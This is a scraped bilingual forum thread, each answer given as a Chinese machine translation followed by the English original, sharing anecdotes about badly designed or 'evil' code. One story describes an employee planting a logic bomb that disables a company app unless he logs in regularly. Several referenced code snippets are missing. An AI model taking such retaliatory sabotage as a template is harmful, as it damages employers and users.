我曾经不得不重写一个“自然语言解析器”,它被实现为一个 5,000 行 if...then 语句。
如...
Maybe not evil, but certainly rather, um... misguided.
I once had to rewrite a "natural language parser" that was implemented as a single 5,000 line if...then statement.
as in...
我在 ASP.NET MVC 站点中看到一个以前只做过 Web 表单的人(并且是著名的复制/粘贴者!)的代码,该代码将客户端单击事件卡在
上调用执行 document.location 的 javascript 方法的标记。
我试图解释
标签上的
href
也会做同样的事情!I saw code in an ASP.NET MVC site from a guy who had only done web forms before (and is a renowned copy/paster!) that stuck a client side click event on an
<a>
tag that called a javascript method that did a document.location.I tried to explain that a
href
on the<a>
tag would do the same!!!有点邪恶……我认识的一个人在公司内部主要网络应用程序中写入了内容,每天检查他是否在过去 10 天内登录过系统。 如果没有他的登录记录,则会对公司中的每个人禁用该应用程序。
他是在听到裁员传闻后写下这篇文章的,如果他倒下,公司就得遭殃。
我知道这件事的唯一原因是他休假了两周 当网站瘫痪时我给他打电话。 他告诉我用他的用户名/密码登录......一切又恢复正常了。
当然……几个月后我们都被解雇了。
A little evil...someone I know wrote into the main internal company web app, a daily check to see if he has logged into the system in the past 10 days. If there's no record of him logged in, it disables the app for everyone in the company.
He wrote the piece once he heard rumors of layoffs, and if he was going down, the company would have to suffer.
The only reason I knew about it, is that he took a 2 week vacation & I called him when the site crapped out. He told me to log on with his username/password...and all was fine again.
Of course..months later we all got laid off.
我的同事喜欢回忆 ASP.NET 应用程序,它使用公共静态数据库连接来完成所有数据库工作。
是的,一个连接可满足所有请求。 不,也没有完成锁定。
My colleague likes to recall that ASP.NET application which used a
public static
database connection for all database work.Yes, one connection for all requests. And no, there was no locking done either.
我记得必须设置 IIS 3 来运行 Perl CGI 脚本(是的,那是很久以前的事了)。 当时官方的建议是将Perl.exe放在cgi-bin中。 它起作用了,但它也让每个人都可以访问一个非常强大的脚本引擎!
I remember having to setup IIS 3 to run Perl CGI scripts (yes, that was a looong time ago). The official recommendation at that time was to put Perl.exe in cgi-bin. It worked, but it also gave everyone access to a pretty powerful scripting engine!
任何设置 邪恶的一点。
Any RFC 3514-compliant program which sets the evil bit.
SQL 查询就在 ASP 应用程序中的 JavaScript 中。 不能再脏了...
SQL queries right there in javascript in an ASP application. Can't get any dirtier...
我们有一个应用程序将其所有全局状态加载到 xml 文件中。 这没有问题,只是开发人员创建了一种新的递归形式。
然后是有趣的部分。 当应用程序加载时,它会遍历属性列表并将它们添加到全局(平面)列表中,同时递增神秘计数器。 神秘计数器被命名为完全不相关的东西,用于神秘计算:
然后你得到像
编辑这样的函数:澄清 - 我花了很长时间才弄清楚他正在计算递归的深度,因为在第 6 或 7 级属性改变了含义,因此他使用计数器将其平面集分成 2 个不同类型的集合,有点像有一个 STATE、STATE、STATE、CITY、CITY、CITY 列表,并检查索引是否 > > 计数器以查看您的名字是城市还是州)
We had an application that loaded all of it's global state in an xml file. No problem with that, except that the developer had created a new form of recursion.
Then comes the fun part. When the application loads, it runs through the list of properties and adds them to a global (flat) list, along with incrementing a mystery counter. The mystery counter is named something totally irrelevant and is used in mystery calculations:
And then you get functions like
edit: clarification - Took me a long time to figure out that he was counting the depth of the recursion, because at level 6 or 7 the properties changed meaning, so he was using the counter to split his flat set into 2 sets of different types, kind of like having a list of STATE, STATE, STATE, CITY, CITY, CITY and checking if the index > counter to see if your name is a city or state)
我们的一位“架构师”没有为需要持续运行的服务器进程编写 Windows 服务,而是编写了一个控制台应用程序,并使用任务计划程序每 60 秒运行一次。
请记住,在 .NET 中,创建服务非常容易。
--
此外,在同一位置,控制台应用程序用于托管 .NET 远程服务,因此他们必须启动控制台应用程序并锁定会话,以使其在每次服务器重新启动时保持运行。
--
在我工作的最后一个地方,一位架构师有一个单个 C# 源代码文件,其中包含 100 多个类,大小约为 250K。
Instead of writing a Windows service for a server process that needed to run constantly one of our "architects" wrote a console app and used the task scheduler to run it every 60 seconds.
Keep in mind this is in .NET where services are very easy to create.
--
Also, at the same place a console app was used to host a .NET remoting service, so they had to start the console app and lock a session to keep it running every time the server was rebooted.
--
At the last place I worked one of the architects had a single C# source code file with over 100 classes that was something like 250K in size.
32 个源代码文件,每个文件超过 10K 行代码。 每个包含一类。 每个类都包含一个可以完成“所有事情”的方法,
在我必须重构该代码之前调试该代码真是一场噩梦。
32 source code files with more then 10K lines of code each. Each contained one class. Each class contained one method that did "everything"
That was real nightmare for debuging that code before I had to refactor that.
在早期的工作场所,我们继承了一个遗留项目,该项目的部分内容之前已被外包。 主要应用程序是Java,外包部分是本地C 库。 有一次我查看了 C 源文件。 我列出了该目录的内容。 有几个源文件大小超过200K。 最大的 C 文件为 600 KB。
感谢上帝,我从来没有真正接触过它们:-)
At an earlier workplace, we inherited a legacy project, which partially had been outsorced earlier. The main app was Java, the outsourced part was a native C library. Once I had a look at the C source files. I listed the contents of the directory. There were several source files over 200K in size. The biggest C file was 600 Kbytes.
Thank God I never had to actually touch them :-)
当同事在国外为客户服务时,我得到了一套需要推进的程序(安装所述程序)。 每个程序中都会出现一个关键库,并试图找出代码,我意识到一个程序与下一个程序之间存在微小的差异。 在一个公共图书馆里。
意识到这一点,我对所有副本进行了文本比较。 在 16 个中,我认为大约有 9 个是独特的。 我有点生气。
老板介入并让同事们整理出一个看似通用的版本。 他们通过电子邮件发送了代码。 我不知道的是,其中有一些带有不可打印字符的字符串,以及一些混合编码。 电子邮件的乱码非常严重。
不可打印的字符用于将数据(所有字符串!)从服务器发送到客户端。 因此,所有字符串在服务器端均由 0x03 字符分隔,并使用 Split 函数在 C# 中重新组装客户端。
最明智的方法是:
更明智和友好的方法是使用常量:
邪恶的方法是我的同事选择的:在 Visual Studio 中使用 0x03 的任何“打印”并将其放在引号之间:
此外,在这个库(以及所有相关程序)中,没有一个变量是本地的(我检查过!)。 函数的设计目的是,一旦认为可以安全地浪费相同的变量,就可以恢复这些变量,或者创建在整个过程中都将持续存在的新变量。 我打印了几页并对它们进行了颜色编码。 黄色表示“全局,从未被其他函数改变”,红色表示“全局,被多个函数改变”。 格林本来应该是“本地的”,但实际上没有。
哦,我有提到控制版本吗? 因为当然没有。
补充:我刚刚想起不久前我发现的一个功能。
它的目的是遍历整数数组的数组,并将每个第一项和最后一项设置为 0。它是这样的(不是实际代码,来自内存,更多的是 C# 风格):
当然,重点是每个子数组必须在所有项目上完成这两个操作。 我只是不确定程序员如何决定这样的事情。
I was given a set of programs to advance while colleagues were abroad at a customer (installing said programs). One key library came up in every program, and trying to figure out the code, I realised that there were tiny differences from one program to the next. In a common library.
Realising this, I ran a text comparison of all copies. Out of 16, I think there were about 9 unique ones. I threw a bit of a fit.
The boss intervened and had the colleagues collate a version that was seemingly universal. They sent the code by e-mail. Unknown to me, there were strings with unprintable characters in there, and some mixed encodings. The e-mail garbled it pretty bad.
The unprintable characters were used to send out data (all strings!) from a server to a client. All strings were thus separated by the 0x03 character on the server-side, and re-assembled client-side in C# using the Split function.
The somwehat sane way would have been to do:
The saner and friendly way would have been to use a constant:
The EVIL way was what my colleagues chose: use whatever "prints" for 0x03 in Visual Studio and put that between quotes:
Furthermore, in this library (and all the related programs), not a single variable was local (I checked!). Functions were designed to either recuperate the same variables once it was deemed safe to waste them, or to create new ones which would live on for all the duration of the process. I printed out several pages and colour coded them. Yellow meant "global, never changed by another function", Red meant "global, changed by several". Green would have been "local", but there was none.
Oh, did I mention control version? Because of course there was none.
ADD ON: I just remembered a function I discovered, not long ago.
Its purpose was to go through an array of arrays of intergers, and set each first and last item to 0. It went like this (not actual code, from memory, and more C#-esque):
Of course, the point was that every sub-array had to get this done, both operations, on all items. I'm just not sure how a programmer can decide on something like this.
与上面其他人提到的类似:
我在一个应用程序中有伪脚本语言的地方工作。 它被输入到一个庞大的方法中,该方法有大约 30 个参数和一个巨大的
Select Case
语句。是时候添加更多参数了,但是团队中必须这样做的人意识到参数已经太多了。
他的解决方案?
他在末尾添加了一个
object
参数,这样他就可以传入任何他想要的内容,然后进行转换。我无法足够快地离开那个地方。
Similar to what someone else mentioned above:
I worked in a place that had a pseudo-scripting language in the application. It fed into a massive method that had some 30 parameters and a giant
Select Case
statement.It was time to add more parameters, but the guy on the team who had to do it realized that there were too many already.
His solution?
He added a single
object
parameter on the end, so he could pass in anything he wanted and then cast it.I couldn't get out of that place fast enough.
在我们的客户团队报告了一些奇怪的问题后,我们注意到应用程序的两个不同版本指向同一个数据库。 (在向他们部署新系统时,他们的数据库被升级,但每个人都忘记关闭他们的旧系统)
这是一次奇迹般的逃脱。
从那时起,我们有了一个自动化的构建和部署过程,谢天谢地:-)
Once after our client teams reported some weird problems, we noticed that two different versions of the application was pointing to the same database. (while deploying the new system to them, their database was upgraded, but everyone forgot to bring down their old system)
This was a miracle escape..
And since then, we have an automated build and deploy process, thankfully :-)
我认为这是一个将循环加载到 pdp-10 的通用寄存器中,然后执行这些寄存器中的代码的程序。
您可以在 pdp-10 上做到这一点。 这并不意味着你应该这样做。
编辑:至少这是我(有时相当破旧)记忆中最好的。
I think that it was a program which loaded a loop into the general purpose registers of a pdp-10 and then executed the code in those registers.
You could do that on a pdp-10. That doesn't mean that you should.
EDIT: at least this is to the best of my (sometimes quite shabby) recollection.
我非常不幸地发现半定制数据库高可用性解决方案中有一个相当疯狂的行为。
核心部分并不引人注目。 Red Hat Enterprise Linux、MySQL、DRBD 和 Linux-HA 等。 然而,该配置是由一个完全定制的类似木偶的系统维护的(毫不奇怪,还有许多其他由该系统导致的疯狂例子)。
事实证明,系统正在检查 Kickstart 留在根目录中的
install.log
文件,以获取创建 DRBD 配置所需的部分信息。 当然,这本身就是邪恶的。 您不会从格式未实际定义的日志文件中提取配置。 但情况变得更糟。它没有将这些数据存储在其他地方,并且每次运行时(每 60 秒一次)都会查阅
install.log
。我只是让您猜猜第一次有人决定删除这个无用的日志文件时发生了什么。
I had the deep misfortune of being involved in finding a rather insane behavior in a semi-custom database high-availability solution.
The core bits were unremarkable. Red Hat Enterprise Linux, MySQL, DRBD, and the Linux-HA stuff. The configuration, however, was maintained by a completely custom puppet-like system (unsurprisingly, there are many other examples of insanity resulting from this system).
It turns out that the system was checking the
install.log
file that Kickstart leaves in the root directory for part of the information it needed to create the DRBD configuration. This in itself is evil, of course. You don't pull configuration from a log file whose format is not actually defined. It gets worse, though.It didn't store this data anywhere else, and every time it ran, which was every 60 seconds, it consulted
install.log
.I'll just let you guess what happened the first time somebody decided to delete this otherwise useless log file.